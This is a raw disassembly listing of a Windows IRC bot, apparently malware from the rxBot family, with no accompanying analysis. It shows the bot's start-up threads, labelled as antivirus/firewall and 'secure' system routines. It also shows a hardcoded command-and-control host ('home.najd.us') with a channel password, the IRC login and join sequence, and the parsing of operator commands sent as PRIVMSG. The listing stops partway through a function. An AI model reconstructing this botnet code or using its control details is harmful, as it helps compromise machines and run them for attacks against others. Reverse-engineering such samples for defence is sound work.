[ebp+var_E8] push eax lea eax, [ebp+var_3F4] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_98C] push ebx push eax lea eax, [ebp+var_1EC] push eax call ds:dword_41F0D4 ; CreateProcessA test eax, eax jz short loc_40C5D2 push 0C8h call ds:dword_41F050 ; Sleep push [ebp+var_24] mov esi, ds:dword_41F058 call esi ; CloseHandle push [ebp+var_20] call esi ; CloseHandle call dword_44CC48 ; WSACleanup push ebx call ds:off_41F104 loc_40C5D2: ; CODE XREF: sub_40C2D0+144j ; sub_40C2D0+2D8j cmp dword_742248, 2 jle short loc_40C61E mov eax, dword_74224C push dword ptr [eax+4] call sub_413D7F pop ecx mov esi, eax push 0FFFFFFFFh push esi call ds:dword_41F128 ; WaitForSingleObject push esi call ds:dword_41F058 ; CloseHandle mov eax, dword_74224C cmp [eax+8], ebx jz short loc_40C61E push 7D0h call ds:dword_41F050 ; Sleep mov eax, dword_74224C push dword ptr [eax+8] call ds:off_41F118 loc_40C61E: ; CODE XREF: sub_40C2D0+309j ; sub_40C2D0+333j cmp dword_42A330, ebx jz short loc_40C63B cmp dword_44CDA8, ebx jnz short loc_40C63B lea eax, [ebp+var_4F8] push eax call sub_409A42 pop ecx loc_40C63B: ; CODE XREF: sub_40C2D0+354j ; sub_40C2D0+35Cj lea eax, [ebp+var_A4] push offset a_e_1_0bEnz_m_d ; ".e.(1.0b) ( enz.m.d.l ) .. Bot start"... push eax call sub_413812 push ebx lea eax, [ebp+var_A4] push ebx push eax call sub_4132BE lea eax, [ebp+var_A4] push eax call sub_409833 push 0B80h push ebx push offset dword_4514A8 call sub_413890 lea eax, [ebp+var_A4] push offset a_e_1_0bProcess ; ".e.(1.0b) ( process.m.d.l ) .. AV/FW"... push eax call sub_413812 push ebx lea eax, [ebp+var_A4] push 1 push eax call sub_4132BE add esp, 38h mov edi, eax mov esi, ds:off_41F070 lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_4126FC push ebx push ebx call esi ; sub_74ED5F imul edi, 134h cmp eax, ebx mov dword_45213C[edi], eax jnz short loc_40C6DB call ds:off_41F06C push eax lea eax, [ebp+var_A4] push offset a_e_1_0bProce_0 ; ".e.(1.0b) ( process.m.d.l ) .. Faile"... push eax call sub_413812 add esp, 0Ch loc_40C6DB: ; CODE XREF: sub_40C2D0+3EEj lea eax, [ebp+var_A4] push eax call sub_409833 lea eax, [ebp+var_A4] mov [esp+99Ch+var_99C], offset a_e_1_0bSecure_ ; ".e.(1.0b) ( secure.m.d.l ) .. System"... push eax call sub_413812 push ebx lea eax, [ebp+var_A4] push 1 push eax call sub_4132BE add esp, 14h mov edi, eax lea eax, [ebp+var_8] push eax push ebx push ebx push offset off_413002 push ebx push ebx call esi ; sub_74ED5F imul edi, 134h cmp eax, ebx mov dword_45213C[edi], eax jnz short loc_40C748 call ds:off_41F06C push eax lea eax, [ebp+var_A4] push offset a_e_1_0bSecur_0 ; ".e.(1.0b) ( secure.m.d.l ) .. Failed"... push eax call sub_413812 add esp, 0Ch loc_40C748: ; CODE XREF: sub_40C2D0+45Bj lea eax, [ebp+var_A4] push eax call sub_409833 lea eax, [ebp+var_A4] mov [esp+99Ch+var_99C], offset a_e_1_0bSecur_1 ; ".e.(1.0b) ( secure.m.d.l ) .. Regist"... push eax call sub_413812 push ebx lea eax, [ebp+var_A4] push 1 push eax call sub_4132BE add esp, 14h mov edi, eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4F8] push ebx push eax push offset sub_409AB2 push ebx push ebx call esi ; sub_74ED5F imul edi, 134h cmp eax, ebx mov dword_45213C[edi], eax jnz short loc_40C7BB call ds:off_41F06C push eax lea eax, [ebp+var_A4] push offset a_e_1_0bSecur_2 ; ".e.(1.0b) ( secure.m.d.l ) .. Failed"... push eax call sub_413812 add esp, 0Ch loc_40C7BB: ; CODE XREF: sub_40C2D0+4CEj lea eax, [ebp+var_A4] push eax call sub_409833 call sub_41386E push 7Fh push offset aHome_najd_us ; "home.najd.us" push offset dword_741F74 mov dword_7420F4, ebx call sub_415140 mov eax, dword_42A314 push 3Fh mov edi, offset dword_741FF4 push offset off_42A368 push edi mov dword_7420C4, eax call sub_415140 push 3Fh mov esi, offset dword_742034 push offset aDpass ; "dpass" push esi call sub_415140 add esp, 28h mov dword_7420C8, ebx loc_40C81A: ; CODE XREF: sub_40C2D0+5F0j ; sub_40C2D0+5FBj ... mov [ebp+var_4], ebx loc_40C81D: ; CODE XREF: sub_40C2D0+5A4j cmp dword_44CDC0, ebx jnz short loc_40C83B lea eax, [ebp+var_14] push ebx push eax call dword_44CC30 ; InternetGetConnectedState test eax, eax jnz short loc_40C83B push 7530h jmp short loc_40C867 ; --------------------------------------------------------------------------- loc_40C83B: ; CODE XREF: sub_40C2D0+553j ; sub_40C2D0+562j push offset dword_741F70 mov dword_7420F0, ebx call sub_40C929 cmp eax, 2 mov [ebp+var_C], eax jz loc_40C915 cmp dword_7420F0, ebx jz short loc_40C862 dec [ebp+var_4] loc_40C862: ; CODE XREF: sub_40C2D0+58Dj push 0BB8h loc_40C867: ; CODE XREF: sub_40C2D0+569j call ds:dword_41F050 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_40C81D cmp [ebp+var_C], 2 jz loc_40C915 cmp [ebp+var_10], ebx jz short loc_40C8C5 push 7Fh push offset aHome_najd_us ; "home.najd.us" push offset dword_741F74 call sub_415140 mov eax, dword_42A314 push 3Fh push offset off_42A368 push edi mov dword_7420C4, eax call sub_415140 push 3Fh push offset aDpass ; "dpass" push esi call sub_415140 add esp, 24h mov [ebp+var_10], ebx jmp loc_40C81A ; --------------------------------------------------------------------------- loc_40C8C5: ; CODE XREF: sub_40C2D0+5B3j cmp byte_42A374, bl jz loc_40C81A push 7Fh push offset byte_42A374 push offset dword_741F74 call sub_415140 mov eax, dword_42A318 push 3Fh push offset off_42A384 push edi mov dword_7420C4, eax call sub_415140 push 3Fh push offset aDpass_0 ; "dpass" push esi call sub_415140 add esp, 24h mov [ebp+var_10], 1 jmp loc_40C81A ; --------------------------------------------------------------------------- loc_40C915: ; CODE XREF: sub_40C2D0+581j ; sub_40C2D0+5AAj call sub_413487 loc_40C91A: ; CODE XREF: sub_40C2D0+B1j ; sub_40C2D0+C1j call dword_44CC48 ; WSACleanup loc_40C920: ; CODE XREF: sub_40C2D0+A4j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40C2D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C929 proc near ; CODE XREF: sub_40C2D0+576p ; DATA XREF: sub_40CC09+369Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40C94E: ; CODE XREF: sub_40C929+E6j ; sub_40C929+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_413890 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_44CCDC ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_408947 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40CA7B push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_413890 push 0 lea eax, [ebp+var_2C] push dword_7420DC push dword_42A33C push eax call sub_412AB7 mov edi, eax mov eax, [ebp+var_34] imul eax, 134h push 1Bh add eax, offset byte_452140 push edi push eax call sub_415140 add esp, 28h push 6 push 1 push 2 call dword_44CD58 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 134h push 10h mov dword_452134[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_44CC88 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40CA14 push esi call dword_44CD70 ; closesocket call sub_408970 push 7D0h loc_40CA09: ; CODE XREF: sub_40C929+146j call ds:dword_41F050 ; Sleep jmp loc_40C94E ; --------------------------------------------------------------------------- loc_40CA14: ; CODE XREF: sub_40C929+CDj lea eax, [ebp+var_18C] push eax push offset a_e_1_0bEnz_m_0 ; ".e.(1.0b) ( enz.m.d.l ) .. Connected"... call sub_4098A7 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40CA91 add esp, 28h mov edi, eax push esi call dword_44CD70 ; closesocket test edi, edi jz loc_40C94E cmp edi, 1 jnz short loc_40CA71 push 0DBBA0h jmp short loc_40CA09 ; --------------------------------------------------------------------------- loc_40CA71: ; CODE XREF: sub_40C929+13Fj cmp edi, 2 jz short loc_40CA7F jmp loc_40C94E ; --------------------------------------------------------------------------- loc_40CA7B: ; CODE XREF: sub_40C929+5Aj xor eax, eax jmp short loc_40CA8B ; --------------------------------------------------------------------------- loc_40CA7F: ; CODE XREF: sub_40C929+14Bj push [ebp+var_34] call sub_4135DA pop ecx push 2 pop eax loc_40CA8B: ; CODE XREF: sub_40C929+154j pop edi pop esi leave retn 4 sub_40C929 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA91 proc near ; CODE XREF: sub_40C929+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_413E60 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40CAAF: ; CODE XREF: sub_40CA91+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40CAAF cmp byte_7420EC, bl jz short loc_40CAD6 push offset byte_7420EC push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40B26F add esp, 0Ch loc_40CAD6: ; CODE XREF: sub_40CA91+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_412AB7 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_413812 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_44CD28 ; send cmp eax, 0FFFFFFFFh jnz short loc_40CB40 push [ebp+arg_0] call dword_44CD70 ; closesocket push 1388h call ds:dword_41F050 ; Sleep loc_40CB39: ; CODE XREF: sub_40CA91+D9j ; sub_40CA91+153j xor eax, eax loc_40CB3B: ; CODE XREF: sub_40CA91+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40CB40: ; CODE XREF: sub_40CA91+92j ; sub_40CA91+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_44CCF4 ; recv test eax, eax jle short loc_40CB39 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_408327 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40CB40 lea edi, [ebp+var_A10] loc_40CB91: ; CODE XREF: sub_40CA91+165j push 1 pop esi loc_40CB94: ; CODE XREF: sub_40CA91+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40CC09 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40CBD7 push 7D0h call ds:dword_41F050 ; Sleep jmp short loc_40CB94 ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA91+137j cmp esi, 0FFFFFFFDh jz short loc_40CC01 cmp esi, 0FFFFFFFEh jz short loc_40CBFD cmp esi, 0FFFFFFFFh jz loc_40CB39 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40CB91 jmp loc_40CB40 ; --------------------------------------------------------------------------- loc_40CBFD: ; CODE XREF: sub_40CA91+14Ej push 1 jmp short loc_40CC03 ; --------------------------------------------------------------------------- loc_40CC01: ; CODE XREF: sub_40CA91+149j push 2 loc_40CC03: ; CODE XREF: sub_40CA91+16Ej pop eax jmp loc_40CB3B sub_40CA91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC09 proc near ; CODE XREF: sub_40CA91+12Ap var_129C = byte ptr -129Ch var_E9C = byte ptr -0E9Ch var_D9C = byte ptr -0D9Ch var_C9C = byte ptr -0C9Ch var_C98 = byte ptr -0C98h var_B98 = byte ptr -0B98h var_A98 = byte ptr -0A98h var_A94 = byte ptr -0A94h var_994 = byte ptr -994h var_914 = byte ptr -914h var_8B3 = byte ptr -8B3h var_8B2 = byte ptr -8B2h var_8B0 = byte ptr -8B0h var_8AF = byte ptr -8AFh var_8A6 = byte ptr -8A6h var_8A4 = byte ptr -8A4h var_8A2 = byte ptr -8A2h var_8A1 = byte ptr -8A1h var_814 = dword ptr -814h var_810 = byte ptr -810h var_70C = dword ptr -70Ch var_708 = dword ptr -708h var_704 = byte ptr -704h var_6F8 = dword ptr -6F8h var_6F4 = dword ptr -6F4h var_6F0 = byte ptr -6F0h var_688 = byte ptr -688h var_678 = dword ptr -678h var_674 = byte ptr -674h var_670 = byte ptr -670h var_618 = dword ptr -618h var_610 = byte ptr -610h var_604 = dword ptr -604h var_600 = byte ptr -600h var_5FC = byte ptr -5FCh var_5F4 = byte ptr -5F4h var_5F0 = byte ptr -5F0h var_589 = byte ptr -589h var_588 = byte ptr -588h var_580 = byte ptr -580h var_574 = byte ptr -574h var_570 = byte ptr -570h var_500 = byte ptr -500h var_4FC = dword ptr -4FCh var_4F8 = dword ptr -4F8h var_4F4 = dword ptr -4F4h var_4F0 = byte ptr -4F0h var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = byte ptr -464h var_448 = byte ptr -448h var_3F8 = dword ptr -3F8h var_3F4 = byte ptr -3F4h var_3F0 = dword ptr -3F0h var_3EC = byte ptr -3ECh var_3E0 = dword ptr -3E0h var_3DC = dword ptr -3DCh var_3D8 = byte ptr -3D8h var_3AC = byte ptr -3ACh var_38C = dword ptr -38Ch var_374 = byte ptr -374h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_358 = dword ptr -358h var_354 = dword ptr -354h var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_344 = byte ptr -344h var_330 = byte ptr -330h var_320 = byte ptr -320h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = byte ptr -304h var_2F8 = dword ptr -2F8h var_2F4 = byte ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2C4 = byte ptr -2C4h var_2A0 = byte ptr -2A0h var_284 = byte ptr -284h var_274 = byte ptr -274h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_204 = dword ptr -204h var_200 = dword ptr -200h var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1E4 = byte ptr -1E4h var_1D8 = word ptr -1D8h var_1D6 = word ptr -1D6h var_1D4 = dword ptr -1D4h var_1C8 = dword ptr -1C8h var_1C4 = byte ptr -1C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_18 = byte ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 129Ch call sub_413E60 push ebx push esi mov esi, 0FFh push edi xor ebx, ebx push esi lea eax, [ebp+var_1C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_98], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_1C8], ebx call sub_413890 push 1Bh lea eax, [ebp+var_464] push [ebp+arg_10] push eax call sub_415140 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40CFCD push esi lea eax, [ebp+var_B98] push ebx push eax call sub_413890 dec esi lea eax, [ebp+var_B98] push esi push [ebp+arg_0] push eax call sub_415140 lea eax, [ebp+var_B98] push offset asc_434610 ; " :" push eax call sub_413DE0 mov [ebp+var_C], eax lea eax, [ebp+var_B98] push esi push eax lea eax, [ebp+var_D9C] push eax call sub_415140 mov esi, offset asc_425148 ; " " lea eax, [ebp+var_D9C] push esi push eax call sub_4150A0 add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_A8], 1Fh loc_40CCDC: ; CODE XREF: sub_40CC09+E7j push esi push ebx call sub_4150A0 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_40CCDC mov esi, [ebp+var_94] cmp esi, ebx jz loc_40CFCD cmp [ebp+var_90], ebx jz loc_40CFCD push 100h lea eax, [ebp+var_914] push ebx push eax call sub_413890 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40CD2A: ; CODE XREF: sub_40CC09+153j mov eax, [ecx] cmp eax, ebx jz short loc_40CD56 cmp byte ptr [eax], 2Dh jnz short loc_40CD5E cmp [eax+2], bl jnz short loc_40CD5E movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_914], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40CD56: ; CODE XREF: sub_40CC09+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40CD2A loc_40CD5E: ; CODE XREF: sub_40CC09+12Aj ; sub_40CC09+12Fj cmp [ebp+var_8A1], bl jz short loc_40CD69 mov [ebp+var_8], edi loc_40CD69: ; CODE XREF: sub_40CC09+15Bj cmp [ebp+var_8A6], bl jz short loc_40CD77 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40CD77: ; CODE XREF: sub_40CC09+166j cmp byte ptr [esi], 0Ah jz short loc_40CDB1 push 7Fh lea eax, [ebp+var_994] push esi push eax call sub_415140 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_415140 lea eax, [ebp+var_C4] push offset asc_42D588 ; "!" push eax call sub_4150A0 add esp, 20h loc_40CDB1: ; CODE XREF: sub_40CC09+171j push esi push offset aPing ; "PING" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40CE02 push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40B26F mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40CEA6 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40B26F add esp, 10h jmp loc_40CEA6 ; --------------------------------------------------------------------------- loc_40CE02: ; CODE XREF: sub_40CC09+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_412307 push esi push offset a005 ; "005" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_412307 push esi push offset a302 ; "302" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40CE6D push offset a@_10 ; "@" push [ebp+var_88] call sub_413DE0 pop ecx cmp eax, ebx pop ecx jz short loc_40CEA6 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_415140 add esp, 0Ch jmp short loc_40CEA6 ; --------------------------------------------------------------------------- loc_40CE6D: ; CODE XREF: sub_40CC09+238j push esi push offset a433 ; "433" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40CEAD push ebx push dword_7420DC push dword_42A33C push [ebp+arg_10] call sub_412AB7 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40B26F add esp, 1Ch loc_40CEA6: ; CODE XREF: sub_40CC09+1D8j ; sub_40CC09+1F4j ... mov eax, edi jmp loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CEAD: ; CODE XREF: sub_40CC09+273j mov esi, [ebp+arg_18] mov [ebp+var_A8], 2 mov edi, 80h loc_40CEBF: ; CODE XREF: sub_40CC09+2DBj lea eax, [ebp+var_994] push eax push esi call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40CEDC mov [ebp+var_98], 1 loc_40CEDC: ; CODE XREF: sub_40CC09+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_40CEBF mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40CFD5 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40CF0B: ; CODE XREF: sub_40CC09+38Fj cmp [esi], bl jz loc_40CF93 push 7Fh lea eax, [ebp+var_994] push esi push eax call sub_415140 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_40CF93 cmp [ebp+var_88], ebx jz short loc_40CF93 push [ebp+var_88] lea eax, [ebp+var_C4] push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40CF93 lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz_m_1 ; ".e.(1.0b) ( enz.m.d.l ) .. User %s l"... push eax call sub_413812 lea eax, [ebp+var_1C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40B26F lea eax, [ebp+var_1C4] push eax call sub_409833 add esp, 20h loc_40CF93: ; CODE XREF: sub_40CC09+304j ; sub_40CC09+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40CF0B push [ebp+var_88] push [ebp+arg_10] call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40CFCD push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40CFC2: ; CODE XREF: sub_40CC09+615j ; sub_40CC09+96Cj push [ebp+arg_4] call sub_40B26F loc_40CFCA: ; CODE XREF: sub_40CC09+4D8Cj ; sub_40CC09+4DA9j ... add esp, 10h loc_40CFCD: ; CODE XREF: sub_40CC09+5Bj ; sub_40CC09+F1j ... push 1 loc_40CFCF: ; CODE XREF: sub_40CC09+52C0j pop eax loc_40CFD0: ; CODE XREF: sub_40CC09+29Fj ; sub_40CC09+3860j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40CFD5: ; CODE XREF: sub_40CC09+2F2j push esi push offset aNick ; "NICK" call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40D12B mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40CFFE: ; CODE XREF: sub_40CC09+447j lea eax, [ebp+var_994] push eax push esi call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40D04B lea eax, [ebp+var_994] push 21h push eax call sub_415BA0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40D04B push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_414FB0 push [ebp+arg_1C] push edi call sub_414FC0 add esp, 10h mov edi, 80h loc_40D04B: ; CODE XREF: sub_40CC09+406j ; sub_40CC09+41Dj add esi, edi dec [ebp+arg_0] jnz short loc_40CFFE lea eax, [ebp+var_C4] test eax, eax jz loc_40CFCD cmp [ebp+arg_24], ebx jz loc_40CFCD push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40D093 push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_415140 add esp, 0Ch jmp loc_40CFCD ; --------------------------------------------------------------------------- loc_40D093: ; CODE XREF: sub_40CC09+473j mov edi, [ebp+arg_18] xor esi, esi loc_40D098: ; CODE XREF: sub_40CC09+4B0j cmp [edi], bl jz short loc_40D0AF lea eax, [ebp+var_994] push eax push edi call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_40D0C0 loc_40D0AF: ; CODE XREF: sub_40CC09+491j inc esi add edi, 80h cmp esi, 2 jl short loc_40D098 jmp loc_40CFCD ; --------------------------------------------------------------------------- loc_40D0C0: ; CODE XREF: sub_40CC09+4A4j lea eax, [ebp+var_994] push 21h push eax call sub_415BA0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40CFCD push eax call sub_413E90 push [ebp+arg_24] mov edi, eax call sub_413E90 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40CFCD push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_4 ; ":%s%s" push esi call sub_413812 push ebx lea eax, [ebp+var_3AC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40B2B5 add esp, 24h jmp loc_40CFCD ; --------------------------------------------------------------------------- loc_40D12B: ; CODE XREF: sub_40CC09+3DBj push esi push offset aPart ; "PART" call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_40D14D push esi push offset aQuit ; "QUIT" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40D174 loc_40D14D: ; CODE XREF: sub_40CC09+531j mov edi, [ebp+arg_18] xor esi, esi loc_40D152: ; CODE XREF: sub_40CC09+569j cmp [edi], bl jz short loc_40D168 push [ebp+var_94] push edi call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_40D1C2 loc_40D168: ; CODE XREF: sub_40CC09+54Bj inc esi add edi, 80h cmp esi, 2 jl short loc_40D152 loc_40D174: ; CODE XREF: sub_40CC09+542j push [ebp+var_90] push offset a353 ; "353" call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40D223 push [ebp+var_84] push [ebp+arg_8] call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40D1AB mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40D1AB: ; CODE XREF: sub_40CC09+597j push [ebp+var_84] push offset a_e_1_0bEnz_m_2 ; ".e.(1.0b) ( enz.m.d.l ) .. Joined ch"... loc_40D1B6: ; CODE XREF: sub_40CC09+50F2j ; sub_40CC09+5453j ... call sub_4098A7 pop ecx loc_40D1BC: ; CODE XREF: sub_40CC09+4F4Dj pop ecx jmp loc_40CFCD ; --------------------------------------------------------------------------- loc_40D1C2: ; CODE XREF: sub_40CC09+55Dj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz_m_3 ; ".e.(1.0b) ( enz.m.d.l ) .. User: %s "... push eax call sub_413812 lea eax, [ebp+var_1C4] push eax call sub_409833 push [ebp+var_90] push offset aPart ; "PART" call sub_413C30 add esp, 18h test eax, eax jnz loc_40CFCD lea eax, [ebp+var_1C4] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40CFC2 ; --------------------------------------------------------------------------- loc_40D223: ; CODE XREF: sub_40CC09+57Fj push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_413C30 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40D277 push [ebp+var_90] push edi call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_40D277 push [ebp+var_90] push offset dword_434504 call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_41217B cmp dword_42A32C, ebx jz loc_41217B loc_40D277: ; CODE XREF: sub_40CC09+634j ; sub_40CC09+646j push [ebp+var_90] push esi call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40D3FD push [ebp+var_90] push edi call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40D3FD mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_AC], esi loc_40D2BE: ; CODE XREF: sub_40CC09+8B0j ; 